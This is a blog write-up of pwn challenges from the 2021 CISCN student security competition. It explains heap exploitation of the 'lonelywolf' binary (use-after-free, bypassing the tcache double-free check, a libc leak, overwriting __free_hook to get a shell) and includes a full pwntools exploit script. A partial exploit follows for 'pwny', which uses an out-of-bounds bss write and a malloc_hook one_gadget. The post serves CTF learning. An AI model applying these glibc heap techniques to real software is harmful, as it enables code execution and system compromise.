2021第十四届全国大学生信息安全竞赛WP(CISCN)-- pwn部分

本文详述了作者在2021年全国大学生信息安全竞赛中遇到的pwn题目,包括题目概述、利用方式分析及解题思路。涉及了堆利用、libc地址泄露、沙箱机制绕过等技术,分享了针对不同题目的多种解决方案。
摘要由CSDN通过智能技术生成

概述

  作为学习不到一年的练习生,今年第一次参加国赛,本以为题目会比较温柔,但是最后只做出了一道pwn题,本来还有两道pwn题是有机会的,但还是缺少一些知识或者技巧吧,没做出来,心态爆炸,比赛结束。我看过的pwn题大概是这样构成的,pwn题出了一道arm 64位结构的,其余都是正常的linux下pwn题,使用libc-2.27.so,有一道考了沙箱机制。

ciscn_2021_lonelywolf

  ciscn_2021_lonelywolf
  这是我做出来的那道pwn题,这个pwn题整体说来不算难,是比较常规的pwn题,使用libc-2.27.so,比赛给的libc版本存在tcache double free检测,需要绕过。这一点和我平时在BUUCTF oj 上练习的版本以及自己在官网上找的debug版本好像有所区别,虽然同样是libc-2.27.so,但这些版本并不存在tcache double free检测。
  下面对题目简单分析一下,题目保护全开,整个题目实现了增删查改四个功能,这里有个trick,每个功能会要求输入对应的index,但实际上并没有用,因为题目只会保留最新的一个堆块指针和大小,并没有使用链表或者数组之类的结构来存储堆块指针。当然index会作为判断条件之一,我们只需要输入0,让if检测通过即可。如下图所示,展示了这个trick:

index
  如下面两个截图所示,是这道题目存在的两个漏洞,第一个漏洞是在edit功能里面,这里存在off_by_null,不过我的利用方式中并没有使用这个漏洞,所以这道题是存在多种不同的利用方式的。然后第二个漏洞在free功能里面,存在明显的UAF漏洞。

off_by_null
uaf
  接下来介绍下我的利用思路,由于题目限制了alloc的chunk大小,所以无法申请unsorted bin大小的堆块。所以这里首先构造double free,然后泄露出堆地址,计算出和tcache控制堆块head的偏移,然后在double free的基础上将堆块分配到head处。随后我们就可以修改控制堆块head的标志位,从而释放堆块到unsorted bin中,然后泄露处libc的地址。这里我们修改0x250的chunk标记位0xff,随后释放这个tcache控制堆块head,大小刚好也就是0x250,所以之后head会进入unsorted bin,此时利用我们就能leak出libc地址了。之后同样是修改tcache控制堆块head的一些标记,将 free_hook-0x8 的地址填入0x40的tcache堆块指针中,随后申请相同堆块的大小就能将堆块分配到 free_hook-0x8 上,最后填入"/bin/sh\x00"+system,free即可获取shell。下面是完整的exp:

from pwn import *


ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so"
p = process([ld_path, "./lonelywolf"], env={
   "LD_PRELOAD":libc_path})
# context.log_level = "debug"

def new(size):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Size: ")
    p.sendline(str(size))


def edit(con):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Content: ")
    p.sendline(con)


def show():
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline("0")


def free():
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline("0")

# leak heap addr
new(0x78)
free()
edit("a"*0x10)   # bypass tcache double free
free()
show()
#  print(p.recv())
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# alloc to tcache control head
head = info-0x250
new(0x78)
edit(p64(head))
new(0x78)
new(0x78)

# free head --> leak libc
pad = p64(0)*4+p64(0x00000000ff000000)
edit(pad)
free()
show()
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# count
libc = ELF("/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so")
base = info-0x70-libc.sym["__malloc_hook"]
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
print("f_hook: ", hex(f_hook))
print("sys: ", hex(sys))

# alloc to free_hook-0x8
new(0x40)
edit(p64(0)*4)
new(0x10)
edit(p64(f_hook-8)*2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
free()

p.interactive()

ciscn_2021_pwny

  ciscn_2021_pwny

第一种利用方式

  这道题是pwn题里面分值最低的一道,但是最后我看解题人数,这道题做出来的人反而比上面一道还要少。我个人觉得这道题也并不算难,代码量也比较少,不过利用思维确实比较巧妙,也考了一个scanf函数在遇到过长输入时会申请堆的知识点。我当时就是卡在最后一步,不知道scanf函数可以申请堆块,也就无法利用one_gadget。
  下面简单分析一下这道题目,这道题目同样保护全开,只有read和write两个功能,都是往bss段上读写数据,并没有使用malloc或者free之类的函数,看起来好像和堆利用无关。
  如下图所示,题目一开始读取了产生随机数的文件,并将其返回值作为后面read和write的第一个参数,所以这里我将其命名为fd,注意这个值是存储在bss段上的。

init
  再看下面两个截图,分别是write和read函数的具体实现,write函数先会让我们输入index,也就是后面的offset,接着调用read从fd中读取值,并将该值覆盖到bss_data中offset偏移处,bss_data也是位于bss段。注意这里存在溢出,也就是偏移可以任取,为正,为负,为很大的数都可以,这也是本题的漏洞所在。再看read的功能实现,和write相似,但是read只是打印bss_data偏移为offset处的数据。所以我们可以将write视为具有edit功能,read具有show的功能。

write
read
  下面介绍下利用思路,当时比赛时做这道题一开始也很蒙蔽,因为fd是随机产生的,程序动不动还会运行出错。所以这里第一步就是改fd的值,参见下面的代码,改fd非常简单。前面我们说了,write具有edit功能,可以用偏移的方式修改bss段上的数据,因此找好fd的偏移,调用两次write写fd位置就会将fd置为0,此时就正常获取我们的输入了。然后第二步就是利用read具有的show功能,找好bss和data上的数据泄露出来,我们就可以获取libc和代码基地址。最后就是利用scanf读取过长的输入时会分配chunk,也就是说会使用malloc_hook,此时就可以在malloc_hook处写入one_gadget。当然直接写one_gadget不一定成功,还需要realloc还调整一下,完整exp如下,这是我本地调试的结果,其中的one_gadget和realloc的偏移会和比赛环境的不一样。

from pwn import *

ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
# libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/pwny/libc-2.27.so"
# p = process([ld_path, "./pwny"], env={"LD_PROLOAD":libc_path})
# context.log_level = "debug"
#   p = remote("124.71.230.113", 24425)
p = process([ld_path, "./pwny"])


def write(idx):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index: ")
评论 21
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值